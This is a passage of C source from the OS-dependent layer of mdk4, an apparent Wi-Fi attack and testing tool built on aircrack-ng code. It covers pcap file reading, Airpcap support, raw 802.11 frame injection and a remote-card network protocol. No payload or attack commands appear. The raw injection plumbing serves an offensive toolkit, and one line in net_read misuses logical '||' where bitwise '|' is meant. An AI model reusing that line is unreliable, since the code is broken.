mtu); } struct wif *wi_open(char *iface) { struct wif *wi; wi = file_open(iface); if (wi == (struct wif*) -1) return NULL; if (!wi) wi = net_open(iface); if (!wi) wi = wi_open_osdep(iface); if (!wi) return NULL; strncpy(wi->wi_interface, iface, sizeof(wi->wi_interface)-1); wi->wi_interface[sizeof(wi->wi_interface)-1] = 0; return wi; } /* tap stuff */ char *ti_name(struct tif *ti) { assert(ti->ti_name); return ti->ti_name(ti); } int ti_set_mtu(struct tif *ti, int mtu) { assert(ti->ti_set_mtu); return ti->ti_set_mtu(ti, mtu); } int ti_get_mtu(struct tif *ti) { assert(ti->ti_get_mtu); return ti->ti_get_mtu(ti); } void ti_close(struct tif *ti) { assert(ti->ti_close); ti->ti_close(ti); } int ti_fd(struct tif *ti) { assert(ti->ti_fd); return ti->ti_fd(ti); } int ti_read(struct tif *ti, void *buf, int len) { assert(ti->ti_read); return ti->ti_read(ti, buf, len); } int ti_write(struct tif *ti, void *buf, int len) { assert(ti->ti_write); return ti->ti_write(ti, buf, len); } int ti_set_mac(struct tif *ti, unsigned char *mac) { assert(ti->ti_set_mac); return ti->ti_set_mac(ti, mac); } int ti_set_ip(struct tif *ti, struct in_addr *ip) { assert(ti->ti_set_ip); return ti->ti_set_ip(ti, ip); } struct tif *ti_alloc(int sz) { struct tif *ti; void *priv; /* Allocate tif & private state */ ti = malloc(sizeof(*ti)); if (!ti) return NULL; memset(ti, 0, sizeof(*ti)); priv = malloc(sz); if (!priv) { free(ti); return NULL; } memset(priv, 0, sz); ti->ti_priv = priv; return ti; } void *ti_priv(struct tif *ti) { return ti->ti_priv; } mdk4-master/src/osdep/file.c0000644000175000017500000001214413525065636016763 0ustar samuelophsamueloph /* * Copyright (c) 2010 Andrea Bittau * * OS dependent API for using card via a pcap file. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "pcap.h" #include "radiotap/radiotap_iter.h" struct priv_file { int pf_fd; int pf_chan; int pf_rate; int pf_dtl; unsigned char pf_mac[6]; }; static int file_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_file *pf = wi_priv(wi); struct pcap_pkthdr pkh; int rc; unsigned char buf[4096]; int off = 0; struct ieee80211_radiotap_header *rh; struct ieee80211_radiotap_iterator iter; rc = read(pf->pf_fd, &pkh, sizeof(pkh)); if (rc != sizeof(pkh)) return -1; if (pkh.caplen > sizeof(buf)) { printf("Bad caplen %d\n", pkh.caplen); return 0; } assert(pkh.caplen <= sizeof(buf)); rc = read(pf->pf_fd, buf, pkh.caplen); if (rc != (int) pkh.caplen) return -1; if (ri) memset(ri, 0, sizeof(*ri)); switch (pf->pf_dtl) { case LINKTYPE_IEEE802_11: off = 0; break; case LINKTYPE_RADIOTAP_HDR: rh = (struct ieee80211_radiotap_header*) buf; off = le16_to_cpu(rh->it_len); if (ieee80211_radiotap_iterator_init(&iter, rh, rc, NULL) < 0) return -1; while (ieee80211_radiotap_iterator_next(&iter) >= 0) { switch (iter.this_arg_index) { case IEEE80211_RADIOTAP_FLAGS: if (*iter.this_arg & IEEE80211_RADIOTAP_F_FCS) rc -= 4; break; } } break; case LINKTYPE_PRISM_HEADER: if (buf[7] == 0x40) off = 0x40; else off = *((int *)(buf + 4)); rc -= 4; break; case LINKTYPE_PPI_HDR: off = le16_to_cpu(*(unsigned short *)(buf + 2)); /* for a while Kismet logged broken PPI headers */ if (off == 24 && le16_to_cpu(*(unsigned short *)(buf + 8)) == 2 ) off = 32; break; case LINKTYPE_ETHERNET: printf("Ethernet packets\n"); return 0; default: errx(1, "Unknown DTL %d", pf->pf_dtl); break; } rc -= off; assert(rc >= 0); if (rc > len) rc = len; memcpy(h80211, &buf[off], rc); return rc; } static int file_get_mac(struct wif *wi, unsigned char *mac) { struct priv_file *pn = wi_priv(wi); memcpy(mac, pn->pf_mac, sizeof(pn->pf_mac)); return 0; } static int file_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_file *pn = wi_priv(wi); if (h80211 && ti && pn) {} return len; } static int file_set_channel(struct wif *wi, int chan) { struct priv_file *pf = wi_priv(wi); pf->pf_chan = chan; return 0; } static int file_get_channel(struct wif *wi) { struct priv_file *pf = wi_priv(wi); return pf->pf_chan; } static int file_set_rate(struct wif *wi, int rate) { struct priv_file *pf = wi_priv(wi); pf->pf_rate = rate; return 0; } static int file_get_rate(struct wif *wi) { struct priv_file *pf = wi_priv(wi); return pf->pf_rate; } static int file_get_monitor(struct wif *wi) { if (wi) {} return 1; } static void file_close(struct wif *wi) { struct priv_file *pn = wi_priv(wi); if (pn->pf_fd) close(pn->pf_fd); free(wi); } static int file_fd(struct wif *wi) { struct priv_file *pf = wi_priv(wi); return pf->pf_fd; } struct wif *file_open(char *iface) { struct wif *wi; struct priv_file *pf; int fd; struct pcap_file_header pfh; int rc; if (strncmp(iface, "file://", 7) != 0) return NULL; /* setup wi struct */ wi = wi_alloc(sizeof(*pf)); if (!wi) return NULL; wi->wi_read = file_read; wi->wi_write = file_write; wi->wi_set_channel = file_set_channel; wi->wi_get_channel = file_get_channel; wi->wi_set_rate = file_set_rate; wi->wi_get_rate = file_get_rate; wi->wi_close = file_close; wi->wi_fd = file_fd; wi->wi_get_mac = file_get_mac; wi->wi_get_monitor = file_get_monitor; pf = wi_priv(wi); fd = open(iface + 7, O_RDONLY); if (fd == -1) err(1, "open()"); pf->pf_fd = fd; if ((rc = read(fd, &pfh, sizeof(pfh))) != sizeof(pfh)) goto __err; if (pfh.magic != TCPDUMP_MAGIC) goto __err; if (pfh.version_major != PCAP_VERSION_MAJOR || pfh.version_minor != PCAP_VERSION_MINOR) goto __err; pf->pf_dtl = pfh.linktype; return wi; __err: wi_close(wi); return (struct wif*) -1; } mdk4-master/src/osdep/crctable_osdep.h0000644000175000017500000000640513525065636021025 0ustar samuelophsamueloph#ifndef _CRCTABLE_OSDEP_H #define _CRCTABLE_OSDEP_H const unsigned long int crc_tbl_osdep[256] = { 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D }; #endif /* crctable_osdep.h */ mdk4-master/src/osdep/osdep.h0000644000175000017500000001366213525065636017171 0ustar samuelophsamueloph/* * Copyright (c) 2007, 2008, Andrea Bittau * All OS dependent crap should go here. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef __AIRCRACK_NG_OSEDEP_H__ #define __AIRCRACK_NG_OSEDEP_H__ #include #include #include "byteorder.h" #include "packed.h" /* For all structures, when adding new fields, always append them to the end. * This way legacy binary code does not need to be recompiled. This is * particularly useful for DLLs. -sorbo */ struct tx_info { unsigned int ti_rate; }; struct rx_info { uint64_t ri_mactime; int32_t ri_power; int32_t ri_noise; uint32_t ri_channel; uint32_t ri_freq; uint32_t ri_rate; uint32_t ri_antenna; } __packed; /* Normal code should not access this directly. Only osdep. * This structure represents a single interface. It should be created with * wi_open and destroyed with wi_close. */ #define MAX_IFACE_NAME 64 struct wif { int (*wi_read)(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri); int (*wi_write)(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti); int (*wi_set_channel)(struct wif *wi, int chan); int (*wi_get_channel)(struct wif *wi); int (*wi_set_freq)(struct wif *wi, int freq); int (*wi_get_freq)(struct wif *wi); void (*wi_close)(struct wif *wi); int (*wi_fd)(struct wif *wi); int (*wi_get_mac)(struct wif *wi, unsigned char *mac); int (*wi_set_mac)(struct wif *wi, unsigned char *mac); int (*wi_set_rate)(struct wif *wi, int rate); int (*wi_get_rate)(struct wif *wi); int (*wi_set_mtu)(struct wif *wi, int mtu); int (*wi_get_mtu)(struct wif *wi); int (*wi_get_monitor)(struct wif *wi); void *wi_priv; char wi_interface[MAX_IFACE_NAME]; }; /* Routines to be used by client code */ extern struct wif *wi_open(char *iface); extern int wi_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri); extern int wi_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti); extern int wi_set_channel(struct wif *wi, int chan); extern int wi_get_channel(struct wif *wi); extern int wi_set_freq(struct wif *wi, int freq); extern int wi_get_freq(struct wif *wi); extern void wi_close(struct wif *wi); extern char *wi_get_ifname(struct wif *wi); extern int wi_get_mac(struct wif *wi, unsigned char *mac); extern int wi_set_mac(struct wif *wi, unsigned char *mac); extern int wi_get_rate(struct wif *wi); extern int wi_set_rate(struct wif *wi, int rate); extern int wi_get_monitor(struct wif *wi); extern int wi_get_mtu(struct wif *wi); extern int wi_set_mtu(struct wif *wi, int mtu); /* wi_open_osdep should determine the type of card and setup the wif structure * appropriately. There is one per OS. Called by wi_open. */ extern struct wif *wi_open_osdep(char *iface); /* This will return the FD used for reading. This is required for using select * on it. */ extern int wi_fd(struct wif *wi); /* Helper routines for osdep code. */ extern struct wif *wi_alloc(int sz); extern void *wi_priv(struct wif *wi); /* Client code can use this to determine the battery state. One per OS. */ extern int get_battery_state(void); /* Client code can create a tap interface */ /* XXX we can unify the tap & wi stuff in the future, but for now, lets keep * them seperate until we learn something. */ struct tif { int (*ti_read)(struct tif *ti, void *buf, int len); int (*ti_write)(struct tif *ti, void *buf, int len); int (*ti_fd)(struct tif *ti); char *(*ti_name)(struct tif *ti); int (*ti_set_mtu)(struct tif *ti, int mtu); int (*ti_get_mtu)(struct tif *ti); int (*ti_set_ip)(struct tif *ti, struct in_addr *ip); int (*ti_set_mac)(struct tif *ti, unsigned char *mac); void (*ti_close)(struct tif *ti); void *ti_priv; }; /* one per OS */ extern struct tif *ti_open(char *iface); /* osdep routines */ extern struct tif *ti_alloc(int sz); extern void *ti_priv(struct tif *ti); /* client routines */ extern char *ti_name(struct tif *ti); extern int ti_set_mtu(struct tif *ti, int mtu); extern int ti_get_mtu(struct tif *ti); extern void ti_close(struct tif *ti); extern int ti_fd(struct tif *ti); extern int ti_read(struct tif *ti, void *buf, int len); extern int ti_write(struct tif *ti, void *buf, int len); extern int ti_set_mac(struct tif *ti, unsigned char *mac); extern int ti_set_ip(struct tif *ti, struct in_addr *ip); #endif /* __AIRCRACK_NG_OSEDEP_H__ */ mdk4-master/src/osdep/airpcap.c0000644000175000017500000002254013525065636017464 0ustar samuelophsamueloph /* * Copyright (c) 2007-2015 Thomas d'Otreppe * * Airpcap stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #ifdef HAVE_AIRPCAP #include #include #include #include #include #include #include "osdep.h" //------------------ PPI --------------------- #define PPH_PH_VERSION ((u_int8_t)0x00) #define PPI_FIELD_TYPE_802_11_COMMON ((u_int16_t)0x02) typedef struct _PPI_PACKET_HEADER { u_int8_t PphVersion; u_int8_t PphFlags; u_int16_t PphLength; u_int32_t PphDlt; } PPI_PACKET_HEADER, *PPPI_PACKET_HEADER; typedef struct _PPI_FIELD_HEADER { u_int16_t PfhType; u_int16_t PfhLength; } PPI_FIELD_HEADER, *PPPI_FIELD_HEADER; typedef struct _PPI_FIELD_802_11_COMMON { u_int64_t TsfTimer; u_int16_t Flags; u_int16_t Rate; u_int16_t ChannelFrequency; u_int16_t ChannelFlags; u_int8_t FhssHopset; u_int8_t FhssPattern; int8_t DbmAntSignal; int8_t DbmAntNoise; } PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON; #define DEVICE_PREFIX "\\\\.\\" #define DEVICE_COMMON_PART "airpcap" PAirpcapHandle airpcap_handle; /** * Check if the device is an Airpcap device * @param iface Interface name * @return 1 if it is an Airpcap device, 0 if not */ int isAirpcapDevice(const char * iface) { char * pos; int len; pos = strstr(iface, DEVICE_COMMON_PART); // Check if it contains "airpcap" if (! pos) return 0; if (pos != iface) { // Check if it begins with '\\.\' if (strstr(iface, AIRPCAP_DEVICE_NAME_PREFIX) != iface) return 0; } len = strlen(iface); // Checking that it contains 2 figures at the end. // No need to check for length, it was already done by the first check if (! (isdigit((int)iface[len - 1])) || !(isdigit((int)iface[len - 2]))) return 0; return 1; } /** * Parse information from a PPI packet (will be used later). * @param p packet * @param caplen Length of the packet * @param hdrlen Length of the header * @param power pointer that will contains the power of the packet * @return 0 if successful decoding, 1 if it failed to decode */ int ppi_decode(const u_char *p, int caplen, int *hdrlen, int *power) { PPPI_PACKET_HEADER pPpiPacketHeader; PPPI_FIELD_HEADER pFieldHeader; ULONG position = 0; // Sanity checks if (caplen < (int)sizeof(*pPpiPacketHeader)) { // Packet smaller than the PPI fixed header return( 1 ); } pPpiPacketHeader = (PPPI_PACKET_HEADER)p; *hdrlen = pPpiPacketHeader->PphLength; if(caplen < *hdrlen) { // Packet smaller than the PPI fixed header return( 1 ); } position = sizeof(*pPpiPacketHeader); if (pPpiPacketHeader->PphVersion != PPH_PH_VERSION) { fprintf( stderr, "Unknown PPI packet header version (%u)\n", pPpiPacketHeader->PphVersion); return( 1 ); } do { // now we suppose to have an 802.11-Common header if (*hdrlen < (int)(sizeof(*pFieldHeader) + position)) { break; } pFieldHeader = (PPPI_FIELD_HEADER)(p + position); position += sizeof(*pFieldHeader); switch(pFieldHeader->PfhType) { case PPI_FIELD_TYPE_802_11_COMMON: if (pFieldHeader->PfhLength != sizeof(PPI_FIELD_802_11_COMMON) || caplen - position < sizeof(PPI_FIELD_802_11_COMMON)) { // the header is bogus, just skip it fprintf( stderr, "Bogus 802.11-Common Field. Skipping it.\n"); } else { PPPI_FIELD_802_11_COMMON pField = (PPPI_FIELD_802_11_COMMON)(p + position); if (pField->DbmAntSignal != -128) { *power = (int)pField->DbmAntSignal; } else { *power = 0; } } break; default: // we do not know this field. Just print type and length and skip break; } position += pFieldHeader->PfhLength; } while(TRUE); return( 0 ); } /** * Set MAC Address of the device * @param mac MAC Address * @return 0 (successful) */ int airpcap_set_mac(void *mac) { if (mac) {} return 0; } /** * Close device */ void airpcap_close(void) { // By default, when plugged in, the adapter is set in monitor mode; // Application may assume it's already in monitor mode and forget to set it // So, do not remove monitor mode. if (airpcap_handle != NULL) { AirpcapClose(airpcap_handle); airpcap_handle = NULL; } } /** * Get MAC Address of the device (not yet implemented) * @param mac It will contain the mac address * @return 0 (successful) */ int airpcap_get_mac(void *mac) { // Don't use the function from Airpcap if (mac) {} return 0; } /** * Capture one packet * @param buf Buffer for the packet * @param len Length of the buffer * @param ri Receive information * @return -1 if failure or the number of bytes received */ int airpcap_sniff(void *buf, int len, struct rx_info *ri) { // Use PPI headers to obtain the different information for ri // Use AirpcapConvertFrequencyToChannel() to get channel // Add an option to give frequency instead of channel UINT BytesReceived = 0; if (ri) {} // Wait for the next packet // Maybe add an event packets to read // WaitForSingleObject(ReadEvent, INFINITE); // Read a packet if(AirpcapRead(airpcap_handle, buf, len, &BytesReceived)) return (int)BytesReceived; return -1; } /** * Inject one packet * @param buf Buffer for the packet * @param len Length of the buffer * @param ti Transmit information * @return -1 if failure or the number of bytes sent */ int airpcap_inject(void *buf, int len, struct tx_info *ti) { if (ti) {} if (AirpcapWrite (airpcap_handle, buf, len) != 1) return -1; return len; } /** * Print the error message * @param err Contains the error message and a %s in order to show the Airpcap error * @param retValue Value returned by the function * @return retValue */ int printErrorCloseAndReturn(const char * err, int retValue) { if (err && airpcap_handle) { if (strlen(err)) { if (airpcap_handle) fprintf( stderr, err, AirpcapGetLastError(airpcap_handle)); else fprintf( stderr, err); } } airpcap_close(); return retValue; } /** * Initialize the device * @param param Parameters for the initialization * @return 0 if successful, -1 in case of failure */ int airpcap_init(char *param) { // Later: if several interfaces are given, aggregate them. char * iface; char errbuf[AIRPCAP_ERRBUF_SIZE ]; iface = (char *)calloc(1, strlen(param) + 100); if (param) { // if it's empty, use the default adapter if (strlen(param) > 0) { if (strstr(param, DEVICE_PREFIX) == NULL) { // Not found, add it strcpy(iface, DEVICE_PREFIX); strcat(iface, param); } else { // Already contains the adapter header strcpy(iface, param); } } } airpcap_handle = AirpcapOpen(iface, errbuf); if(airpcap_handle == NULL) { fprintf( stderr, "This adapter doesn't have wireless extensions. Quitting\n"); //pcap_close( winpcap_adapter ); return( -1 ); } /* Tell the adapter that the packets we'll send and receive don't include the FCS */ if(!AirpcapSetFcsPresence(airpcap_handle, FALSE)) return printErrorCloseAndReturn("Error setting FCS presence: %s\n", -1); /* Set the link layer to bare 802.11 */ if(!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11)) return printErrorCloseAndReturn("Error setting the link type: %s\n", -1); /* Accept correct frames only */ if( !AirpcapSetFcsValidation(airpcap_handle, AIRPCAP_VT_ACCEPT_CORRECT_FRAMES) ) return printErrorCloseAndReturn("Error setting FCS validation: %s\n", -1); /* Set a low mintocopy for better responsiveness */ if(!AirpcapSetMinToCopy(airpcap_handle, 1)) return printErrorCloseAndReturn("Error setting MinToCopy: %s\n", -1); return 0; } /** * Set device channel * @param chan Channel * @return 0 if successful, -1 if it failed */ int airpcap_set_chan(int chan) { // Make sure a valid channel is given if (chan <= 0) return -1; if(!AirpcapSetDeviceChannel(airpcap_handle, chan)) { printf("Error setting the channel to %d: %s\n", chan, AirpcapGetLastError(airpcap_handle)); return -1; } return 0; } #endif mdk4-master/src/osdep/network.c0000644000175000017500000002307413525065636017541 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for using card via network. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "network.h" #define QUEUE_MAX 666 struct queue { unsigned char q_buf[2048]; int q_len; struct queue *q_next; struct queue *q_prev; }; struct priv_net { int pn_s; struct queue pn_queue; struct queue pn_queue_free; int pn_queue_len; }; int net_send(int s, int command, void *arg, int len) { struct net_hdr *pnh; char *pktbuf; size_t pktlen; pktlen = sizeof(struct net_hdr) + len; pktbuf = (char*)calloc(sizeof(char), pktlen); if (pktbuf == NULL) { perror("calloc"); goto net_send_error; } pnh = (struct net_hdr*)pktbuf; pnh->nh_type = command; pnh->nh_len = htonl(len); memcpy(pktbuf + sizeof(struct net_hdr), arg, len); for (;;) { ssize_t rc = send(s, pktbuf, pktlen, 0); if ((size_t)rc == pktlen) break; if (rc == EAGAIN || rc == EWOULDBLOCK || rc == EINTR) continue; if (rc == ECONNRESET) printf("Connection reset while sending packet!\n"); goto net_send_error; } free(pktbuf); return 0; net_send_error: free(pktbuf); return -1; } int net_read_exact(int s, void *arg, int len) { ssize_t rc; int rlen = 0; char *buf = (char*)arg; while (rlen < len) { rc = recv(s, buf, (len - rlen), 0); if (rc < 1) { if (rc == -1 && (errno == EAGAIN || errno == EINTR)) { usleep(100); continue; } return -1; } buf += rc; rlen += rc; } return 0; } int net_get(int s, void *arg, int *len) { struct net_hdr nh; int plen; if (net_read_exact(s, &nh, sizeof(nh)) == -1) { return -1; } plen = ntohl(nh.nh_len); if (!(plen <= *len)) printf("PLEN %d type %d len %d\n", plen, nh.nh_type, *len); assert(plen <= *len && plen >= 0); *len = plen; if ((*len) && (net_read_exact(s, arg, *len) == -1)) { return -1; } return nh.nh_type; } static void queue_del(struct queue *q) { q->q_prev->q_next = q->q_next; q->q_next->q_prev = q->q_prev; } static void queue_add(struct queue *head, struct queue *q) { struct queue *pos = head->q_prev; q->q_prev = pos; q->q_next = pos->q_next; q->q_next->q_prev = q; pos->q_next = q; } #if 0 static int queue_len(struct queue *head) { struct queue *q = head->q_next; int i = 0; while (q != head) { i++; q = q->q_next; } return i; } #endif static struct queue *queue_get_slot(struct priv_net *pn) { struct queue *q = pn->pn_queue_free.q_next; if (q != &pn->pn_queue_free) { queue_del(q); return q; } if (pn->pn_queue_len++ > QUEUE_MAX) return NULL; return malloc(sizeof(*q)); } static void net_enque(struct priv_net *pn, void *buf, int len) { struct queue *q; q = queue_get_slot(pn); if (!q) return; q->q_len = len; assert((int) sizeof(q->q_buf) >= q->q_len); memcpy(q->q_buf, buf, q->q_len); queue_add(&pn->pn_queue, q); } static int net_get_nopacket(struct priv_net *pn, void *arg, int *len) { unsigned char buf[2048]; int l = sizeof(buf); int c; while (1) { l = sizeof(buf); c = net_get(pn->pn_s, buf, &l); if (c < 0) return c; if (c != NET_PACKET && c > 0) break; if(c > 0) net_enque(pn, buf, l); } assert(l <= *len); memcpy(arg, buf, l); *len = l; return c; } static int net_cmd(struct priv_net *pn, int command, void *arg, int alen) { uint32_t rc; int len; int cmd; if (net_send(pn->pn_s, command, arg, alen) == -1) { return -1; } len = sizeof(rc); cmd = net_get_nopacket(pn, &rc, &len); if (cmd == -1) { return -1; } assert(cmd == NET_RC); assert(len == sizeof(rc)); return ntohl(rc); } static int queue_get(struct priv_net *pn, void *buf, int len) { struct queue *head = &pn->pn_queue; struct queue *q = head->q_next; if (q == head) return 0; assert(q->q_len <= len); memcpy(buf, q->q_buf, q->q_len); queue_del(q); queue_add(&pn->pn_queue_free, q); return q->q_len; } static int net_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_net *pn = wi_priv(wi); uint32_t buf[512]; // 512 * 4 = 2048 unsigned char *bufc = (unsigned char*)buf; int cmd; int sz = sizeof(*ri); int l; int ret; /* try queue */ l = queue_get(pn, buf, sizeof(buf)); if (!l) { /* try reading form net */ l = sizeof(buf); cmd = net_get(pn->pn_s, buf, &l); if (cmd == -1) return -1; if (cmd == NET_RC) { ret = ntohl((buf[0])); return ret; } assert(cmd == NET_PACKET); } /* XXX */ if (ri) { // re-assemble 64-bit integer ri->ri_mactime = __be64_to_cpu(((uint64_t)buf[0] << 32 || buf[1] )); ri->ri_power = __be32_to_cpu(buf[2]); ri->ri_noise = __be32_to_cpu(buf[3]); ri->ri_channel = __be32_to_cpu(buf[4]); ri->ri_freq = __be32_to_cpu(buf[5]); ri->ri_rate = __be32_to_cpu(buf[6]); ri->ri_antenna = __be32_to_cpu(buf[7]); } l -= sz; assert(l > 0); if (l > len) l = len; memcpy(h80211, &bufc[sz], l); return l; } static int net_get_mac(struct wif *wi, unsigned char *mac) { struct priv_net *pn = wi_priv(wi); uint32_t buf[2]; // only need 6 bytes, this provides 8 int cmd; int sz = 6; if (net_send(pn->pn_s, NET_GET_MAC, NULL, 0) == -1) return -1; cmd = net_get_nopacket(pn, buf, &sz); if (cmd == -1) return -1; if (cmd == NET_RC) return ntohl(buf[0]); assert(cmd == NET_MAC); assert(sz == 6); memcpy(mac, buf, 6); return 0; } static int net_write(struct wif *wi, unsigned char *h80211, int len, 